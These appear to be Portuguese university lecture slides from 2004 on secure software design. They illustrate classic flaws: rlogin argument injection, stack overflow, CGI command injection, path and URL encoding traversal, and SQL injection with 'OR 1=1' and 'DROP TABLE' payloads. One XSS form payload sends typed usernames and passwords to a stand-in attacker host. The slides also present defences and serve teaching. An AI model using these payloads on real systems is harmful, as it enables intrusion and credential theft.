Segurança no Desenho e na Implementação

Aplicações Seguras
[email protected]
Problemas de segurança
♦ Protocolos de autenticação mal desenhados.
– E.g. WEP, 802.1x (1º versão), PPTP, MS-CHAPv1.
♦ Protocolos de comunicação inseguros.
– E.g. Primeiras versões do openssl.
♦ Algoritmos de cifra inseguros.
– O número é tão grande quanto os critptólogos
♦ Utilização incorrecta dos sistemas.
– E.g. Gestão de senhas.
– Incumprimento da política de segurança.
♦ Incorrecta gestão dos mecanismos de autorização
– E.g. Ficheiros confidenciais não protegidos
♦ Incorrecto desenho e implementação das
aplicações
CSI 2004
Índice
♦ Exemplos de falhas de segurança comuns
– Interessante
♦ Técnicas de desenho e implementação
seguras
– Importante e ... um pouco chata ☺.
CSI 2004
Exemplo I: Percepção errada
♦ Um servidor de rlogin recebia pedidos de autenticação e
passava-os para o programa de login local
♦ Acontece que num dos casos o programa de login aceitava
logins pré-autenticados de programas em modo root, se
estes lhe passassem a opção –f username
♦ Se um utilizador pedisse ao rlogin para autenticar o
utilizador “-froot” ou “-fqualquernome” entrava
directamente.
♦ Nenhum dos programas estava errado, só não sabiam muito
bem o que é que o outro fazia.
CSI 2004
Exemplo II: Canais dissimulados
♦ Ficheiros .tar com partes do ficheiro de passwords.
– Todos os ficheiros .tar distribuídos continham partes do
ficheiro de passwords
♦ O programa tar
– Obtinha informações do utilizador efectuando uma
chamada ao sistema
– Criava blocos de 512K em memória e depois escrevia-os
para disco.
– As informações do utilizador eram obtidas a partir do
ficheiro passwd e escritas num buffer do heap,
posteriormente libertado.
– Os blocos de memória utilizados pelo tar eram
provenientes do heap
– O último bloco não era totalmente reescrito
CSI 2004
Exemplo III: Protocolos
♦ 802.11 –É a familia de protocolos para o
estabelecimento de ligações de nível 2 num meio
sem fios.
♦ 802.1X – É um protocolo criado para autenticar
ligações de nível 2 numa rede cablada
♦ A conjunção dos dois deveria dar uma ligação sem
fios, de nível 2, autenticada, mas...
♦ os protocolo de autenticação (802.1X) desconhece
a particularidades do protocolo de ligação (802.11)
– A possível enviar uma mensagem não autenticada para
desligar a ligação e roubá-la.
CSI 2004
Exemplo IV: Stack smashing
Utilização normal
Stack top
z (char[12])
void f ( int x, char * y )
{
char z[12];
sprintf (z, “%d %s”, x, y );
write ( 2, z, strlen(z) );
prev frame pointer
return address
x (int)
y (char*)
Stack growth
}
f activation
record
(stack frame)
Stack bottom
CSI 2004
Stack smashing
void f ( int x, char * y )
{
Stack top
1
2
3
4
5
g
r
a
n
d
e
prev frame
d
pointer
e
m
a return
i address
s
\0
12345
“grande demais”
}
{
...
f ( 12345, “grande demais” );
...
}
buffer
overflow!!
Stack growth
char z[12];
sprintf (z, “%d %s”, x, y );
write ( 2, z, strlen(z) );
Stack bottom
CSI 2004
Exemplo V : CGI em C
Static char cmd[128];
Static char format[] = “grep %s phone.list\n”;
Stack Overflow: Escreve por
cima do endereço de retorno
Static buffer Overflow:
Escreve por cima do format
Int main(int argc, char *argv[]) {
Validação de entrada:
char buf[256];
buf = “. /etc/passwd”
gets(buf);
Validação
de entrada: cmd = “carlos
sprintf(cmd, format,
buf+5);
phone.list\n127.0.0.1\tinocêncio\t\2004-6-14\t00:02:00 word
syslog(36,cmd); secreto.doc\n127.0.0.1\tcarlos\t\2004-6-14\t00:05:00grep Zé”
write(1,”Content-Type: text/plain\n\n”27);
system(cmd);
Logfile
}
127.0.0.1 carlos
2004-6-14 00:01:31 grep carlos phone.list
127.0.0.1 inocêncio 2004-6-14 00:02:00 word secreto.doc
127.0.0.1 carlos
2004-6-14 00:05:00 grep Zé phone.list
CSI 2004
Exemplo VI: Segurança baseada em
nomes
♦ Nomes de quê ?
– Ficheiros (nome e extensão)
– URLs
– Servidores (DNS)
– Utilizadores
♦ Muitas formas alternativas de representação
de nomes.
♦ Se a validação desses nomes não for
correctamente efectuada a segurança falha.
CSI 2004
Segurança baseada em nomes:
Então tudo se resume à correcção
♦ Pensamentos a evitar:
– “O meu código não tem erros”;
– “Nós já verificámos todas as entradas de dados”;
– “Esse ataque é muito difícil, ninguém se vai dar
ao trabalho”;
– “Nós não temos esse problema: nós usamos ...
• Cifra; firewalls; etc.
– Etc.
♦ Errar é humano (sabemos mas esquecemos
frequentemente).
CSI 2004
Segurança baseada em nomes
de ficheiros
♦ Windows
– c:\winnt\repair\sam
– c:\Winnt\Repair\SAM
– c:\winnt\repair\sam.
– c:\winnt\..\winnt\repair\sam
– \\?\c:\winnt\repair\sam
– c:\winnt\repair\sam::$DATA
– \\servername\c$\winnt\repair\sam
– \\?\UNC\servername\c$\winnt\repair\sam
– c:\program files\COM1
CSI 2004
Segurança baseada em nomes
de URLs
♦ Todos as representações dos ficheiros
♦ (ASCII)
♦
♦
♦
♦
♦
http://www.xpto.com/scripts/process.asp?file=../winnt/repair/sam
(Escaped)
http://www.xpto.com/scripts/process.asp?file=%2e%2e/winnt/repair/sam
(UTF-8)
http://www.xpto.com/scripts/process.asp?file=%c0%ae%c0%ae/winnt/rep
air/sam
(UCS-2)
http://www.xpto.com/scripts/process.asp?file=%u002e%u002e/winnt/repa
ir/sam
UCS2 fullwidth
http://www.xpto.com/scripts/process.asp?file=%uff0e%uff0e/winnt/repair
/sam
(Double encoding)
http://www.xpto.com/scripts/process.asp?file=%252e%252e/winnt/repair/
sam
CSI 2004
Segurança baseada em nomes
de Servidores & Utilizadores
♦ Servidores
– ribeiro
– ribeiro.tagus.ist.utl.pt
– \\ribeiro
– localhost
– \\localhost
– 193.136.166.106
– 127.0.0.1 ou 127.x.x.x
♦ Utilizadores
– carlos
– ribeiro\carlos
– [email protected]
CSI 2004
Segurança baseada em nomes:
O que fazer ?
♦ Estar alerta para o problema.
♦ Não efectuar validações de segurança com
base no nome ou extensão de ficheiros ou
urls.
♦ Sempre que possível reduzir os nomes à
forma canónica.
♦ Aceitar o válido rejeitar tudo o resto.
CSI 2004
Segurança baseada em nomes:
O cliente
♦ Os clientes também baseiam a segurança em
nomes
– Os URLs são um caso típico
♦ Os URLs podem ser manipulados
– Envenenando as caches do DNS
– No futuro utilizando nomes visualmente iguais
mas com códigos diferentes
• http://www.microsoft.com e
http://www.microsοft.cοm
CSI 2004
Exemplo VII: SQL Injection
SQLQuery = “SELECT Username FROM Users
WHERE Username = ‘” & strUsername & “’
AND Password = ‘” & strPassword & “’”
strAuthCheck = getQueryResult(SQLQuery)
If strAuthCheck = “” Then bAuthenticated = False
Else bAuthenticated = True End If
Login: admin‘ OR 1=1
Password: ‘ OR 1=1
SELECT Username FROM Users WHERE Username = ‘admin’
OR 1=1 AND Password = ‘’ OR 1=1
Login: ‘ OR 1=1 ; DROP TABLE Users -Password: nao interessa
SELECT Username FROM Users WHERE Username = ‘’
OR 1=1 ; DROP TABLE Users --
CSI 2004
SQL Injection: Stored Procedures
SQLQuery=“EXEC sp_Authenticate ‘” & Username & “’, ‘” Password “’”
strAuthCheck = getQueryResult(SQLQuery)
Login: admin‘ OR 1=1 -Password:
EXEC sp_Authenticate ‘admin’, ‘’ OR 1=1
Login: admin’, ‘’; DROP TABLE Users -Password: nao interessa
Falha !!
Ok !!
EXEC sp_Authenticate ‘admin’, ‘’; DROP TABLE Users --
CSI 2004
SQL Injection: O que fazer ?
♦ Nem sempre os ataques são tão simples:
– Por vezes as queries são tão complexas que se torna difícil explorá-las.
♦ Mas ...
♦ A solução é evitar o parsing das entradas pelo parser de SQL
...
Set cmd = CreateObject(“ADOBD.Command”)
cmd.Command = “select Username from Users where Username=? and Password=?”
Set parm1 = cmd.CreateParameter(...)
parm1.Value = strUsername
cmd.Parameter.Append parm1
Set parm2 = cmd.CreateParameter(...)
parm2.Value = strPassword
cmd.Parameter.Append parm2
Set strAuthCheck = cmd.Execute
...
CSI 2004
Exemplo VIII: Cross-site scripting (XSS)
Site com a falha
Servidor WWW
Site atacante
HTTP
envenenado
HTTP
de ataque
Cliente Atacado
HTTP
Servidor WWW
Browser
CSI 2004
Cross-site scripting (XSS)
Site com a falha
Servidor WWW
http://www.example.com/FILENAME.html
<HTML>
404 page does not exist: FILENAME.html
....
</HTML>
Cliente Atacado
Browser
CSI 2004
Cross-site scripting (XSS)
O meu banco
Servidor WWW
Cliente Atacado
Login: XPTO
<FORM ACTION=“login1.asp” METHOD=“post”>
<CENTER>Bad Login XPTO
<br>Username:<BR><INPUT TYPE=“text” NAME=“login”>
<br>Password:<br><INPUT TYPE=“password” NAME=“password”>
...
CSI 2004
Cross-site scripting (XSS)
Se em vez do username for introduzido:
Bank Login: </form>
<form action=“login1.asp” method=“post”
onsubmit=“XSSimage = new image;
XSSimage.src=‘http//www.hacker.com/’ + document.forms(1).login.value +
‘:’ + document.forms(1).password.value;”>
<FORM ACTION=“login1.asp” METHOD=“post”>
<CENTER>Bad Login </form>
<form action=“login1.asp” method=“post”
onsubmit=“XSSimage = new image;
XSSimage.src=‘http//www.hacker.com/’ + document.forms(1).login.value +
‘:’ + document.forms(1).password.value;”>
<br>Username:<BR><INPUT TYPE=“text” NAME=“login”>
<br>Password:<br><INPUT TYPE=“password” NAME=“password”>
....
CSI 2004
Cross-site scripting (XSS)
♦ O atacante só tem que convencer o cliente
atacado a clicar num link com o seguinte
aspecto:
http://www.bank.com/login.asp?username=%3C/form%3E%3Cform%20action=
%22login1.asp%22%20method=%22post%22%20onsubmit=%22XSSimage=new
%20image;XSSimage.src=‘http//www.hacker.com/’%20%2B%20document.forms
(1).login.value%20%2B%20‘:’%20%2B%20document.forms(1).password.value;
%22%3E
CSI 2004
Cross-site scripting (XSS)
♦ O problema não é dos servidores
♦ Os clientes também têm ficheiros html
– File://c:/mydocuments/falha.html
– Browsers executam script locais sem perguntar
♦ Então o que fazer?
CSI 2004
Cross-site scripting (XSS):
Soluções
♦ Codificar as saídas
– Substituir símbolos interpretados pelo HTML
– Ex.: < é substituído por &lt
♦ Reduzir o número de símbolos HTML a um
mínimo
– Testar o admitido (não testar o não aceite)
♦ Não reinventar a roda
– Se já existe bem feito reusem
CSI 2004
Desenho e Implementação
CSI 2004
Como criar com segurança?
♦ Utilizar os modelos de desenho de ES
♦ Modelo de queda de água
Definição de
requisitos
Requisitos de Segurança
Desenho
Implementação
e teste
Análise de
vulnerabilidades
Testes de
penetração
Integração
e teste
CSI 2004
Operação e
manutenção
Outros modelos
♦ Programação exploratória
– Não há requisitos nem desenho.
– Linguagem de alto nível.
♦ Prototipagem
– Parecido com anterior.
– Objectivo obter requisitos.
♦ Transformação formal
– Muito bom para segurança.
– Muito difícil.
♦ Reutilização de componentes
– Muitíssimo comum.
♦ Programação extrema
–
–
–
–
–
Rápida prototipagem.
Boas práticas
Teste de componentes isoladamente
Revisões e integração de componentes frequente.
Requisitos estão aberto até ao fim
CSI 2004
Testes de penetração
♦ Metodologia Flaw Hypothesis
– Colecção de informação
– Estabelecimento de hipóteses
– Teste de hipóteses
– Generalização da falha
– Eliminação da falha
CSI 2004
Análise de vulnerabilidades
♦ Análise por módulo
♦ Análise integrada
♦ Frameworks
– RISOS
– PA (Protection Analysis)
– NRL
– Aslam’s
CSI 2004
RISOS
♦ Validação incompleta de entradas.
– E.g. Buffer overflow.
♦ Validação inconsistente dos parâmetros.
– E.g. Formatação inconsistente.
♦ Partilha implícita de dados confidenciais.
– E.g. O problema do tar
♦ Validação assíncrona.
– E.g. Corrida na verificação de parâmetros de uma system call
♦ Autenticação inadequada.
– E.g. Cavalos de troia.
♦ Limite violável.
– E.g. Valores muito grandes passam a negativos.
♦ Erro lógico explorável.
– E.g. Tratamento de condições de excepção incorrectas.
CSI 2004
Conclusão
♦ Criar com segurança é o ideal.
♦ O comum é adicionar segurança depois.
♦ Os processos de certificação são mais
simples no 1º caso
♦ Adopção do Common Criteria em Portugal
– Para quando?
♦ Certificação é um incentivo para a alteração
de processos.
CSI 2004